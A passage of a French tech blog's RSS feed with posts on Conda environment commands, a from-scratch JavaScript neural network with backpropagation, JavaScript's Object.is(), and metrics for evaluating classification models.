<h2 id="commandes-conda-utiles">Commandes Conda utiles</h2>
<p><strong>Lister les environnements virtuels</strong></p>
<pre tabindex="0"><code>conda env list
</code></pre><br/>
<p><strong>Supprimer un environnement et tous les packages</strong></p>
<pre tabindex="0"><code>conda env remove --name nom-environnement
</code></pre><br/>
<p><strong>Sortir de l&rsquo;environnement actuel</strong></p>
<pre tabindex="0"><code>source deactivate
</code></pre><br/>
<p><strong>Activer un environnement</strong></p>
<pre tabindex="0"><code>conda activate nom-environnement
</code></pre><br/>
<p><strong>Créer un environnement à partir d&rsquo;un fichier de config (.yml)</strong></p>
<pre tabindex="0"><code>conda env create -f environments.yml 
</code></pre><br/>
<p>Le fichier environnement ressemble à ceci:</p>
<pre tabindex="0"><code>name: self-driving
channels:
    - https://conda.anaconda.org/menpo
    - conda-forge
dependencies:
    - python==3.5.2
    - numpy
    - matplotlib
    - jupyter
    - opencv3
    - pillow
    - scikit-learn
    - scikit-image
    - scipy
    - h5py
    - eventlet
    - flask-socketio
    - seaborn
    - pandas
    - imageio
    - pip:
        - moviepy
        - tensorflow==1.1
        - keras==1.2
</code></pre><br/>
<p>Voici la spécification des numéros de version des paquets du fichier de configuration:</p>
<ul>
<li>Fuzzy: &ldquo;numpy=1.11&rdquo; (1.11.0, 1.11.1, 1.11.2, 1.11.18 etc.)</li>
<li>Exact: &ldquo;numpy==1.11&rdquo; (1.11.0)</li>
<li>Greater than or equal to: &ldquo;numpy&gt;=1.11&rdquo; (1.11.0 or higher)</li>
<li>OR: &ldquo;numpy=1.11.1|1.11.3&rdquo; (1.11.1, 1.11.3)</li>
<li>AND: &ldquo;numpy&gt;=1.8,&lt;2&rdquo; (1.8, 1.9, not 2.0)</li>
</ul>
]]></content>
        </item>
        
        <item>
            <title>Programmer un réseau de neurones en JavaScript</title>
            <link>https://leandeep.com/programmer-un-r%C3%A9seau-de-neurones-en-javascript/</link>
            <pubDate>Sat, 03 Jun 2017 22:45:00 +0000</pubDate>
            
            <guid>https://leandeep.com/programmer-un-r%C3%A9seau-de-neurones-en-javascript/</guid>
            <description>&lt;p&gt;Pour bien comprendre comment fonctionnent les réseaux de neurones, nous allons en créer un &lt;em&gt;from scratch&lt;/em&gt; en JavaScript. Je pense que c&amp;rsquo;est intéressant d&amp;rsquo;en créer un de toute pièce avant de s&amp;rsquo;attaquer à des réseaux de neurones profonds ou d&amp;rsquo;utiliser des frameworks qui masquent toute la complexité.&lt;/p&gt;
&lt;br/&gt;
&lt;h1 id=&#34;introduction&#34;&gt;Introduction&lt;/h1&gt;
&lt;p&gt;Un neurone biologique est composé d&amp;rsquo;un corps cellulaire, d&amp;rsquo;un réseau de dendrites et d&amp;rsquo;un axone.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Le corps cellulaire contient le patrimoine génétique.&lt;/li&gt;
&lt;li&gt;Les signaux électriques transitent par le réseau de dendrites. Ces dernières correspondent aux entrées du neurone.&lt;/li&gt;
&lt;li&gt;L&amp;rsquo;axone à la sortie du neurone permet de véhiculer l&amp;rsquo;influx nerveux.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Les neurones artificiels s&amp;rsquo;inspirent du comportement des neurones biologiques; c&amp;rsquo;est-à-dire de leur capacité à s&amp;rsquo;activer à partir d&amp;rsquo;un seuil.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Pour bien comprendre comment fonctionnent les réseaux de neurones, nous allons en créer un <em>from scratch</em> en JavaScript. Je pense que c&rsquo;est intéressant d&rsquo;en créer un de toute pièce avant de s&rsquo;attaquer à des réseaux de neurones profonds ou d&rsquo;utiliser des frameworks qui masquent toute la complexité.</p>
<br/>
<h1 id="introduction">Introduction</h1>
<p>Un neurone biologique est composé d&rsquo;un corps cellulaire, d&rsquo;un réseau de dendrites et d&rsquo;un axone.</p>
<ul>
<li>Le corps cellulaire contient le patrimoine génétique.</li>
<li>Les signaux électriques transitent par le réseau de dendrites. Ces dernières correspondent aux entrées du neurone.</li>
<li>L&rsquo;axone à la sortie du neurone permet de véhiculer l&rsquo;influx nerveux.</li>
</ul>
<p>Les neurones artificiels s&rsquo;inspirent du comportement des neurones biologiques; c&rsquo;est-à-dire de leur capacité à s&rsquo;activer à partir d&rsquo;un seuil.</p>
<p><img src="/images/neurone-biologique-neurone-artificiel.jpg" alt="image"></p>
<p>Si on entre plus dans le détail, un neurone calcule la somme pondérée de ses entrées, puis il compare le résultat à un seuil (dit seuil d&rsquo;activation). Basiquement, si la somme est supérieure au seuil, alors il s&rsquo;active et sort la valeur 1. Réciproquement, si la somme est inférieure au seuil, alors il ne s&rsquo;active pas et sort la valeur 0.</p>
<p>En ce qui concerne la somme pondérée, chaque entrée valant 0 ou 1 est multipliée par un coefficient qui représente son poids (on parle de poids synaptique).
A noter, que si un signal d&rsquo;entrée est à 1, alors la valeur ce ce signal prend tout simplement la valeur du coefficient. De même, si le signal d&rsquo;entrée est à 0, alors sa valeur reste à 0.</p>
<p>Un neurone fonctionne ainsi: il faut additionner toutes les valeurs obtenues par les sommes pondérées en entrée et comparer le résultat à la valeur d&rsquo;un seuil.</p>
<br/>
<h1 id="précision-sur-les-seuils-dactivation">Précision sur les seuils d&rsquo;activation</h1>
<p>Nous venons de voir dans le paragraphe précédent que la sortie d&rsquo;un neurone nous donnait 1 ou 0 en fonction du seuil d&rsquo;activation. C&rsquo;est tout à fait vrai lorsqu&rsquo;on utilise une fonction à seuil binaire. Mais en pratique on utilise d&rsquo;autres fonctions d&rsquo;activation nous donnant des valeurs numériques comprises entre 0 et 1. La plus répandue est la &ldquo;fonction sigmoïde&rdquo; (aussi appelée &ldquo;fonction logistique&rdquo; ou &ldquo;courbe en S&rdquo;).</p>
<p>Avec cette fonction, le passage de 0 à 1 est plus progressif comme on peut le voir sur la courbe suivante:</p>
<p><img src="/images/sigmoide.png" alt="image"></p>
<p>L&rsquo;équation de la fonction sigmoïde est la suivante:</p>
<p><img src="/images/equation-sigmoide.png" alt="image"></p>
<br/>
<h1 id="initialisation-de-notre-réseau-de-neurones">Initialisation de notre réseau de neurones</h1>
<p>Nous allons créer un réseau simple permettant de résoudre un problème simple.
Nous allons classifier en 4 catégories des images noir et blanc réduites à seulement 4 pixels. C&rsquo;est un exemple pédagagique bien sûr.</p>
<p>Pendant la phase d&rsquo;apprentissage, nous allons présenter au réseau les images que l&rsquo;on souhaite reconnaître. Puis pendant la phase de reconnaissance, on présente des images aléatoires afin de vérifier si le réseau a bien appris.</p>
<p>Voici les images dont on va se servir pour entraîner notre réseau.</p>
<p><img src="/images/combinaison-images-apprentissage.png" alt="image"></p>
<p>Pour se simplifier la vie, nous allons représenter ces images sous forme de tableau.</p>
<p><img src="/images/image-to-tableau.png" alt="image"></p>
<p>Nous allons les représenter les 4 catégories d&rsquo;images via un tableau à 2 valeurs.</p>
<ul>
<li>[0, 0] pour les images n&rsquo;ayant aucun ou tous les pixels noirs</li>
<li>[0, 1] pour les images comprenant 1 pixel noir</li>
<li>[1, 0] pour les images comprenant 2 pixels noirs</li>
<li>[1, 1] pour les images comprenant 3 pixels noirs</li>
</ul>
<p>Nous allons construire un réseau comprenant 3 couches:</p>
<ul>
<li>La première couche (couche d&rsquo;entrée) contient 4 neurones en entrée pour les 4 pixels de l&rsquo;image.</li>
<li>La deuxième couche est une couche cachée. Elle permet de faire la liaison entre la couche d&rsquo;entrée et la couche de sortie.</li>
<li>La 3ème couche (couche de sortie) contient 2 neurones pour les 2 valeurs représentant notre catégorie.</li>
</ul>
<p><img src="/images/Reseau-de-neurones-simple.png" alt="image"></p>
<p>Pour construire un réseau de neurones avec une structure simple comme celle-ci, il suffit d&rsquo;assembler les neurones les uns derrières les autres. On connecte les sorties des uns aux entrées des autres.
Entre chaque couche, nous relions les sorties des neurones de la couche précédente à tous les neurones de la couche suivante.
Dans notre exemple simple, on appelle ce genre de réseau un réseau totalement connecté.</p>
<p>En JavaScript, on initialise les couches du réseau via des tableaux:</p>
<pre tabindex="0"><code>let input = [];
let hidden = [];
let output = [];
</code></pre><p>En plus de ces tableaux, il nous en faut 2 autres pour stocker les valeurs des poids synaptiques associés aux connexions entre la 1ère et 2ème couches et la 2ème et 3ème couches:</p>
<pre tabindex="0"><code>let Wh = [];
let Wo = [];
</code></pre><p>On va créer un dernier tableau pour notre input:</p>
<pre tabindex="0"><code>// Tableau représentant notre image en input
let inputData = [0, 1, 0, 1]
</code></pre><p>On crée une fonction d&rsquo;initialisation des différents tableaux.</p>
<pre tabindex="0"><code>const reset = () =&gt; {
    input = [0, 0, 0, 0];
    hidden = [0, 0, 0, 0];
    output = [0, 0];
    
    // 0.5 a été choisi totalement arbitrairement
    // En pratique, on aurait pu générer des valeurs aléatoires distribuées uniformément sur l&#39;intervalle [-1; 1] et dont la moyenne aurait été nulle.
    Wh = [[0.5, 0.5, 0.5, 0.5],
         [0.5, 0.5, 0.5, 0.5], 
         [0.5, 0.5, 0.5, 0.5]
         [0.5, 0.5, 0.5, 0.5]];
         
    Wo = [[0.5, 0.5, 0.5, 0.5],
         [0.5, 0.5, 0.5, 0.5]];
}
</code></pre><p>Chaque neurone de la couche d&rsquo;entrée est connecté à tous les neurones de la couche cachée. Par conséquent, il y aura 4 poids synaptiques à prendre en compte dans le calcul de la moyenne pondérée pour chaque neurone de la couche cachée. Wh contient donc 4 tableaux de 4 poids.</p>
<p>Pour Wo, on a 2 neurones dans la couche de sortie. Donc on a 2 tableaux. Ces 2 tableaux contiennent les 4 poids de la couche cachée.</p>
<br/>
<h1 id="propagation-des-données">Propagation des données</h1>
<p>Les données d&rsquo;input sont propagées dans le réseau de neurones.
Pour propager les données de la couche d&rsquo;entrée vers la couche de sortie, il faut réaliser une succession de calculs de couche en couche et de neurone en neurone. Ces calculs sont simples car ce ne sont que des multiplications et des additions. Par contre, il faut en faire beaucoup. Nous n&rsquo;allons pas détailler les calculs car cela n&rsquo;a pas d&rsquo;intérêt et c&rsquo;est fastidieux. On va plutôt utiliser des matrices et faire des produits matriciels&hellip;</p>
<p>Nous allons commencer par créer notre fonction sigmoïde qui permettra de calculer la valeur de sortie des neurones.</p>
<pre tabindex="0"><code>const sigmoid = (x) =&gt; {
    return 1 / (1 + Math.pow(Math.E, (-1 * x)));
}
</code></pre><p>En programmation, si on veut connecter deux couches de neurones (par exemple connecter la couche A avec la couche B), voici le pseudo-code:</p>
<pre tabindex="0"><code>Pour chaque neurone de la couche B:
    Pour chaque neurone de la couche A:
        Calcul sur le lien Wba;
    Fin pour;
Fin pour;
</code></pre><p>En JavaScript, cela donne:</p>
<pre tabindex="0"><code>for (let j = 0; j &lt; B.length; j++) {
    for (let i = 0; j &lt; A.length; i++) {
        // Calcul sur le lien w[j][i]
    }
}
</code></pre><p>Après ces quelques explications, nous allons créer une fonction de propagation des données de la couche d&rsquo;entrée vers la couche de sortie. Cette fonction va appliquer la fonction d&rsquo;activation sur les sommes pondérées calculées entre les neurones des différentes couches. On va créer une fonction appelée propagate().</p>
<pre tabindex="0"><code>const propagate = (d) =&gt; {

    // On copie les données dans la couche d&#39;entrée
    for (let i = 0; i &lt; input.length; i++) {
        input[i] = d[i];
    }

    // On propage dans la couche cachée
    // Xh contient les sommes cumulées pour la couche cachée
    Xh = [0, 0, 0, 0];
    for (let j = 0; j &lt; hidden.length; j++) {
        for (let i = 0; i &lt; input.length; i++) {
            Xh[j] += Wh[j][i] * input[i];
        }   
    }

    // On applique la fonction d&#39;activation
    for (let j = 0; j &lt; hidden.length; j++) {
        hidden[j] = sigmoid(Xh[j]);
    }

    // On propage dans la couche de sortie
    // Xo contient les sommes pondérées de chaque neurone de sortie
    Xo = [0, 0];
    for (let k = 0; k &lt; output.length; k++) {
        for (let j = 0; j &lt; hidden.length; j++) {
            Xo[k] += Wo[k][j] * hidden[j];
        }
    }

    // On applique la fonction d&#39;activation
    for (let k = 0; k &lt; output.length; k++) {
        output[k] = sigmoid(Xo[k]);
    }
    
}
</code></pre><br/>
<h1 id="test-de-la-propagation">Test de la propagation</h1>
<p>On va créer une petite interface en HTML permettant de visualiser la propagation. Si la valeur des 2 neurones de la dernière couche ont une valeur différente de [0, 0] (valeur d&rsquo;initialisation), c&rsquo;est que la propagation des données s&rsquo;est bien produite.</p>
<iframe  src='//jsfiddle.net/oeeckhoutte/440La2wz/32/embedded/result/dark/' allowpaymentrequest allowfullscreen="allowfullscreen" frameborder="0"></iframe>
<br/>
<h1 id="apprentissage">Apprentissage</h1>
<p>Nous allons passer à la phase la plus importante qui est l&rsquo;apprentissage.
Cette phase est indispensable pour que notre réseau puisse apprendre à reconnaître nos images. Nous allons créer une fonction learn() qui implémente <a href="https://fr.wikipedia.org/wiki/R%C3%A9tropropagation_du_gradient">l&rsquo;algorithme de rétropropagation du gradient de l&rsquo;erreur</a>.</p>
<p>On va commencer par créer 2 nouvelles variables qui vont nous servir à définir le taux d&rsquo;apprentissage et à définir la cible que l&rsquo;on souhaite obtenir en sortie du réseau de neurones.</p>
<ul>
<li>Le taux d&rsquo;apprentissage va être initialisé à 0.5 et sera représenté par la variable <strong>alpha</strong>.</li>
<li>La cible est un tableau de 2 valeurs. Il va être initialisé à [0, 0] et s&rsquo;appelera <strong>target</strong>. Il s&rsquo;agit de la cible à atteindre pour nos neurones de sortie.</li>
</ul>
<pre tabindex="0"><code>let alpha = 0.5;
let target = [0, 0];
</code></pre><p>Nous allons passer à l&rsquo;implémentation de l&rsquo;algorithme de rétropropagation du gradient de l&rsquo;erreur.
Pour notre exemple, cet algorithme comporte 4 étapes qui sont exécutées les unes à la suite des autres de manière cyclique. La boucle s&rsquo;arrête lorsqu&rsquo;un critère d&rsquo;arrêt est atteint. On considère donc que l&rsquo;apprentissage est terminé.
Le critère d&rsquo;arrêt peut être soit un seuil d&rsquo;erreur atteint ou soit un nombre d&rsquo;itérations maximum atteint.</p>
<p>Les 4 étapes de l&rsquo;algorithme sont les suivantes:</p>
<ul>
<li>Calcul de l&rsquo;erreur en sortie de la propagation des données.</li>
<li>Calcul des gradients d&rsquo;erreurs pour corriger les poids synaptiques des neurones de la couche de sortie.</li>
</ul>
<blockquote>
<p>Voici la formule que nous coderons qui permet de calculer l&rsquo;erreur propagée:
<img src="/images/derivee-partielle.png" alt="image"></p></blockquote>
<ul>
<li>Calcul des gradients d&rsquo;erreurs pour corriger les poids synaptiques des neurones de la couche cachée.</li>
<li>Mise à jour des poids synaptiques de la couche de sortie et de la couche cachée</li>
</ul>
<p>Ci dessous, le code JavaScript qui implémente cet algorithme:</p>
<pre tabindex="0"><code>
const learn = () =&gt; {

    // 1ère étage:
    // On calcule l&#39;erreur sur les neurones de sortie
    let error = [];

    for (let k = 0; k &lt; output.length; k++) {
        error[k] = target[k] - output[k]
    }
    
    // 2ème étage:
    // Calcul des gradients d&#39;erreurs de la couche de sortie
    let gradErrOutput = [[0, 0, 0, 0], [0, 0, 0, 0]];
    for (let k = 0; k &lt; output.length; k++) {
        for (let j = 0; j &lt; hidden.length; j++) {
            gradErrOutput[k][j] = -error[k] * output[k] * ( 1 - output[k]) * hidden[j];
        }
    }
    
    // 3ème étage:
    // a. 
    // On retropropage l&#39;erreur de sortie vers les neurones de la couche cachée proportionnellement à leurs poids synaptiques
    // b.
    // Ensuite on calcule les gradients d&#39;erreurs dans la couche cachée
    let gradErrHidden = [[0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0], [0, 0, 0, 0]];
    for (let j = 0; j &lt; hidden.length; j++) {
        for (let i = 0; i &lt; input.length; i++) {
            // Variable locale permettant de cumuler l&#39;erreur proportionnellement aux poids synaptiques
            let e = 0;
            for (k = 0; k &lt; output.length; k++) {
                // Rappel: 
                // Wo contient les poids synaptiques associés aux connexions entre la 2ème et 3ème couches
                e += Wo[k][j] * error[k];
                gradErrHidden[j][i] = -e * hidden[j] * (1 - hidden[j]) * input[i];
            }
        }
    }
    
    // 4ème étape:
    // Mise à jour de l&#39;ensemble des poids synaptiques. Pour chaque poids, on soustrait une portion du gradient d&#39;erreur par application du taux d&#39;apprentissage alpha.
    for (let k = 0; k &lt; output.length; k++) {
        for (let j = 0; j &lt; hidden.length; j++) {
            Wo[k][j] -= alpha * gradErrOutput[k][j];
        }
    }
    
    for (let j = 0; j &lt; hidden.length; j++) {
        for (let i = 0; i &lt; input.length; i++) {
            Wh[j][i] -= alpha * gradErrHidden[j][i];
        }
    }
}
</code></pre><br/>
<h1 id="test-de-la-rétropropagation">Test de la rétropropagation</h1>
<p>Nous allons modifier l&rsquo;interface que nous avons précédemment codée afin de tester le bon fonctionnement de notre algorithme.</p>
<p>Tout le code est accessible ci-dessous:</p>
<iframe  src='//jsfiddle.net/oeeckhoutte/bxt2wy25/72/embedded/js,html,result/dark/' allowpaymentrequest allowfullscreen="allowfullscreen" frameborder="0"></iframe>
<p>Si vous appuyez une dizaine de fois sur les boutons <strong>Propagate</strong> et <strong>Learn</strong> alternativement, vous verrez que le réseau de neurones fonctionne bien. Les erreurs diminuent et les valeurs en output convergent bien vers [1, 0].</p>
<p><img src="/images/front-propagation-neuronal-net.png" alt="image"></p>
<br/>
<h1 id="conclusion">Conclusion</h1>
<p>Si vous prenez le temps de bien lire cet article et de recoder l&rsquo;ensemble du réseau de neurones, vous comprendrez comment ils fonctionnent. Bien comprendre ces réseaux simples est indispensable pour aller plus loin et faire du <em>Deep Learning</em>.
L&rsquo;implémentation de notre réseau pour notre exemple simple était trivial. Par contre, en pratique, les use cases sont beaucoup plus complexes et donc cela se corse rapidement car l&rsquo;algorithme de rétropropagation du gradient de l&rsquo;erreur est sensible aux conditions de son exécution. Il faudra faire attention au surapprentissage (<em>overfitting</em>) et à la disparition du gradient (<em>vanishing gradient</em>) en jouant sur les fonctions d&rsquo;activation, le taux d&rsquo;apprentissage, pré-traiter les données d&rsquo;entrée en les normalisant par exemple&hellip;</p>
]]></content>
        </item>
        
        <item>
            <title>Pourquoi il faut utiliser Object.is() pour comparer des éléments</title>
            <link>https://leandeep.com/pourquoi-il-faut-utiliser-object.is-pour-comparer-des-%C3%A9l%C3%A9ments/</link>
            <pubDate>Mon, 10 Apr 2017 19:51:00 +0000</pubDate>
            
            <guid>https://leandeep.com/pourquoi-il-faut-utiliser-object.is-pour-comparer-des-%C3%A9l%C3%A9ments/</guid>
            <description>&lt;p&gt;Nous savons tous que le langage JavaScript manque de typage &lt;del&gt;et qu&amp;rsquo;il faut faire du Typescript&lt;/del&gt; et qu&amp;rsquo;on peut obtenir des résultats bizarres à cause de ce qu&amp;rsquo;on appelle la &lt;em&gt;coercion&lt;/em&gt; ou le &lt;em&gt;casting&lt;/em&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&amp;ldquo;Converting a value from one type to another is often called &amp;ldquo;type casting,&amp;rdquo; when done explicitly, and &amp;ldquo;coercion&amp;rdquo; when done implicitly (forced by the rules of how a value is used) Source: &lt;a href=&#34;https://github.com/getify/You-Dont-Know-JS&#34;&gt;https://github.com/getify/You-Dont-Know-JS&lt;/a&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;Exemple &amp;ldquo;What the fuck&amp;rdquo; :&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Nous savons tous que le langage JavaScript manque de typage <del>et qu&rsquo;il faut faire du Typescript</del> et qu&rsquo;on peut obtenir des résultats bizarres à cause de ce qu&rsquo;on appelle la <em>coercion</em> ou le <em>casting</em>.</p>
<blockquote>
<p>&ldquo;Converting a value from one type to another is often called &ldquo;type casting,&rdquo; when done explicitly, and &ldquo;coercion&rdquo; when done implicitly (forced by the rules of how a value is used) Source: <a href="https://github.com/getify/You-Dont-Know-JS">https://github.com/getify/You-Dont-Know-JS</a></p></blockquote>
<p>Exemple &ldquo;What the fuck&rdquo; :</p>
<pre tabindex="0"><code>0 == &#39; &#39; //true 
null == undefined //true
[1] == true //true
</code></pre><br/>
<p>Il existe l&rsquo;opérateur <code>===</code> qui améliore les choses en bloquant la conversion de type implicite mais qui ne résoud pas tout:</p>
<pre tabindex="0"><code>NaN == NaN //false
</code></pre><br/>
<p>ES6 a introduit une nouvelle feature qui améliore encore les choses <code>Object.is()</code>:</p>
<p>Par exmple:</p>
<pre tabindex="0"><code>Object.is(0 , &#39; &#39;); //false
Object.is(null, undefined); //false
Object.is([1], true); //false
Object.is(NaN, NaN); //true
</code></pre><br/>
<p>Plus de détails (source Mozilla: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Equality_comparisons_and_sameness%29">https://developer.mozilla.org/en-US/docs/Web/JavaScript/Equality_comparisons_and_sameness)</a>:</p>
<p><img src="/images/elements_comparisons.png" alt="image"></p>
]]></content>
        </item>
        
        <item>
            <title>Evaluer ses modèles de classification</title>
            <link>https://leandeep.com/evaluer-ses-mod%C3%A8les-de-classification/</link>
            <pubDate>Wed, 15 Mar 2017 15:27:00 +0000</pubDate>
            
            <guid>https://leandeep.com/evaluer-ses-mod%C3%A8les-de-classification/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Voici les métriques à analyser pour évaluer la performance de son modèle.&lt;/p&gt;
&lt;h2 id=&#34;classification&#34;&gt;Classification&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Justesse / Accuracy&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;Justesse&lt;/code&gt;, (ou &lt;code&gt;Taux de réussite&lt;/code&gt; ou encore &lt;code&gt;taux de prédiction&lt;/code&gt;; &lt;code&gt;accuracy&lt;/code&gt; en anglais). &lt;strong&gt;Mais attention, il ne faut pas se fier qu&amp;rsquo;à cette seule métrique.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Pour la calculer, c&amp;rsquo;est simple:
accuracy = justesse (%) = nombre de prédictions correctes / (nombre total de prédictions données * 100)&lt;/p&gt;
&lt;p&gt;ou
accuracy = justesse = VP + VN / ( VP + VN + FP + FN )&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Voici les métriques à analyser pour évaluer la performance de son modèle.</p>
<h2 id="classification">Classification</h2>
<p><strong>Justesse / Accuracy</strong></p>
<ul>
<li>
<p><code>Justesse</code>, (ou <code>Taux de réussite</code> ou encore <code>taux de prédiction</code>; <code>accuracy</code> en anglais). <strong>Mais attention, il ne faut pas se fier qu&rsquo;à cette seule métrique.</strong></p>
<p>Pour la calculer, c&rsquo;est simple:
accuracy = justesse (%) = nombre de prédictions correctes / (nombre total de prédictions données * 100)</p>
<p>ou
accuracy = justesse = VP + VN / ( VP + VN + FP + FN )</p>
</li>
</ul>
<p>Exemple (source developer.google.com):</p>
<p><img src="/images/exemple-justesse.png" alt="image"></p>
<ul>
<li>CART (Classification And Regression Tree) Voir wikipédia: <a href="http://en.wikipedia.org/wiki/Predictive_analytics#Classification_and_regression_trees">http://en.wikipedia.org/wiki/Predictive_analytics#Classification_and_regression_trees</a></li>
</ul>
<p><strong>Matrice de confusion</strong></p>
<ul>
<li>
<p>La <code>Matrice de confusion</code> (<code>tableau de contingence</code>; <code>contingency table</code> en anglais) est une manière simple et non ambigue de présenter les résultats d&rsquo;un classifier. (Voici un exemple sur ce notebook: <a href="https://leandeep.com/datalab-own/analyse-donnees-dataset-desequilibre.htm">https://leandeep.com/datalab-own/analyse-donnees-dataset-desequilibre.htm</a>)</p>
<p>Pour un sujet de classification binaire et non multi-classes (comme l&rsquo;example plus haut), la matrice de confusion ressemble à ceci:</p>
</li>
</ul>
<p><img src="/images/matrice-confusion.png" alt="image"></p>
<p><em>En haut, on a ce qui est observé et sur le côté ce qui est prédit.</em></p>
<p>Parfois et par exemple pour des sujets où les classes sont déséquilibrées il vaut mieux ne pas se fier au taux de précision (<em>accuracy</em>) et plus utiliser une matrice de confusion.</p>
<p>En effet, utiliser le <code>nombre de faux positifs</code> ou <code>faux négatifs</code> pour les sujets liés à la santé par exemple a plus de sens que le taux de précision du modèle. <strong>Un modèle qui prédit si oui ou non on a le cancer ne doit pas avoir de faux négatif. Le taux de précision a donc moins d&rsquo;importance dans ce cas. Au contraire, un modèle qui prédit qu&rsquo;un patient est en bonne santé alors qu&rsquo;il a un cancer c&rsquo;est grave car le patient peut en mourir puisqu&rsquo;il ne sera pas soigné !</strong>)</p>
<p><strong>Precision</strong></p>
<p><img src="/images/precision-rappel.png" alt="image"></p>
<p>La <code>précision</code> permet de répondre à la question: &ldquo;Quelle proportion d&rsquo;identifications positives était effectivement correcte ?&rdquo;</p>
<p>La précision se calcule comme ceci:</p>
<p><img src="/images/precision.png" alt="image"></p>
<p>Example (source developer.google.com):</p>
<p><img src="/images/exemple-precision.png" alt="image"></p>
<p>**Rappel **</p>
<p>Le <code>rappel</code> (<em><code>recall</code></em> en anglais ou aussi <code>sensibilité</code> ou encore <code>taux de vrais positifs (TVP)</code>) permet de répondre à la question suivante: &ldquo;Quelle proportion de résultats positifs réels a été identifiée correctement ?&rdquo;</p>
<p>Le rappel se calcule comme ceci:</p>
<p><img src="/images/rappel.png" alt="image"></p>
<p>Example (source developer.google.com):</p>
<p><img src="/images/exemple-rappel.png" alt="image"></p>
<p>Pour évaluer les performances d&rsquo;un modèle de façon complète, vous devez analyser à la fois la précision et le rappel. Malheureusement, précision et rappel sont fréquemment en tension. Ceci est dû au fait que l&rsquo;amélioration de la précision se fait généralement au détriment du rappel et réciproquement.</p>
<p>Dans l&rsquo;exemple du dépistage de cancer c&rsquo;est la proportion de vrais positifs parmi les personnes à dépister.</p>
<p>**Spécificité **</p>
<p>La <code>spécificité</code> se calcule comme ceci:</p>
<p><img src="/images/specificite.png" alt="image"></p>
<p>Dans l&rsquo;exemple du dépistage du cancer c&rsquo;est proportion de vrais négatifs chez les non-malades.</p>
<p><strong>Différence avec la sensibilité:</strong></p>
<p>La <code>sensibilité</code> est l&rsquo;indice qui évalue la capacité d&rsquo;une mesure à bien classer les malades (ou les exposés), et la <code>spécificité</code> celui qui évalue la capacité à bien classer les non-malades (ou les non-exposés).</p>
<p>**Score F1 **</p>
<p>Aussi appelé <em>F Score</em> ou <em>F Measure</em>, le <code>score F1</code> permet de traduire l&rsquo;équilibre entre la précision et le rappel. Attention, le problème de cette métrique est qu&rsquo;elle ne tient pas compte de l&rsquo;éventuel déséquilibre entre les classes.</p>
<p>Il se calcule comme ceci:</p>
<p><img src="/images/f1-score.png" alt="image"></p>
<p><strong>Courbe ROC</strong></p>
<p>La <code>courbe ROC</code> (Receiver Operating Characteristic) trace le taux de vrais positifs en fonction du taux de faux positifs.</p>
<p>Le taux de vrais positifs (TVP) est l&rsquo;équivalent du rappel.</p>
<p>Le taux de faux positifs (TFP) se calcule comme ceci:</p>
<p><img src="/images/taux-faux-positifs-TFP.png" alt="image"></p>
<p><img src="/images/courbe-roc.png" alt="image"></p>
<p>Elle résume le trade-off entre le taux de vrais positifs et le taux de faux négatifs pour un modèle prédictif en utilisant différent seuils de probabilité.</p>
<p>Cette courbe sert également à comparer différents classifieurs. <strong>Plus une courbe a des valeurs élevées, plus l’aire sous la courbe est grande, moins le classifieur fait d’erreur.</strong></p>
<blockquote>
<p>Il existe aussi la Precision-Recall curves.
The latter summarizes the trade-off between the true positive rate and the positive predictive value for a predictive model using different probability thresholds.</p></blockquote>
<p><strong>ROC curves are appropriate when the observations are balanced between each class, whereas precision-recall curves are appropriate for imbalanced datasets.</strong> En savoir plus sur cet article: <a href="https://machinelearningmastery.com/roc-curves-and-precision-recall-curves-for-classification-in-python/">https://machinelearningmastery.com/roc-curves-and-precision-recall-curves-for-classification-in-python/</a></p>
<p><strong>AUC</strong></p>
<p>En savoir plus sur l&rsquo;aire sous la courbe ROC (<code>AUC</code> pour Area Under the Curve ROC) sur le même site qu&rsquo;au dessus: <a href="https://machinelearningmastery.com/roc-curves-and-precision-recall-curves-for-classification-in-python/">https://machinelearningmastery.com/roc-curves-and-precision-recall-curves-for-classification-in-python/</a></p>
<p>&ldquo;An excellent model has AUC near to the 1 which means it has good measure of separability. A poor model has AUC near to the 0 which means it has worst measure of separability.
And when AUC is 0.5, it means model has no class separation capacity whatsoever. It would be a naive model.&rdquo;</p>
<p>En gros l&rsquo;AUC correspond à l’intégrale de la fonction ROC.</p>
<p>Voici une vidéo explicative: <a href="https://www.dataschool.io/roc-curves-and-auc-explained/">https://www.dataschool.io/roc-curves-and-auc-explained/</a></p>
<h2 id="conclusion">Conclusion</h2>
<p>Un &ldquo;bon&rdquo; classifieur doit présenter d’une part un rappel élevé et, d’autre part, une précision et une spécificité élevée (et un taux de faux positifs faible).</p>
<p>Scikit Learn fournit un tas de métriques par défaut: <a href="https://scikit-learn.org/stable/modules/model_evaluation.html">https://scikit-learn.org/stable/modules/model_evaluation.html</a></p>
<p>Voici enfin un article intéressant sur les métriques en général pour des sujets de classification, de recommandation et de régression.
<a href="https://www.oreilly.com/ideas/evaluating-machine-learning-models/page/3/evaluation-metrics">https://www.oreilly.com/ideas/evaluating-machine-learning-models/page/3/evaluation-metrics</a></p>
]]></content>
        </item>
        
        <item>
            <title>Tradeoff biais variance</title>
            <link>https://leandeep.com/tradeoff-biais-variance/</link>
            <pubDate>Wed, 01 Mar 2017 13:34:00 +0000</pubDate>
            
            <guid>https://leandeep.com/tradeoff-biais-variance/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Le biais conduit à du sous-apprentissage (&lt;em&gt;underfitting&lt;/em&gt;) et la variance amène du sur-apprentissage (&lt;em&gt;overfitting&lt;/em&gt;) et donc à de hautes erreurs de tests.&lt;/p&gt;
&lt;p&gt;Example pour un jeu de données composé de 8 points:&lt;/p&gt;
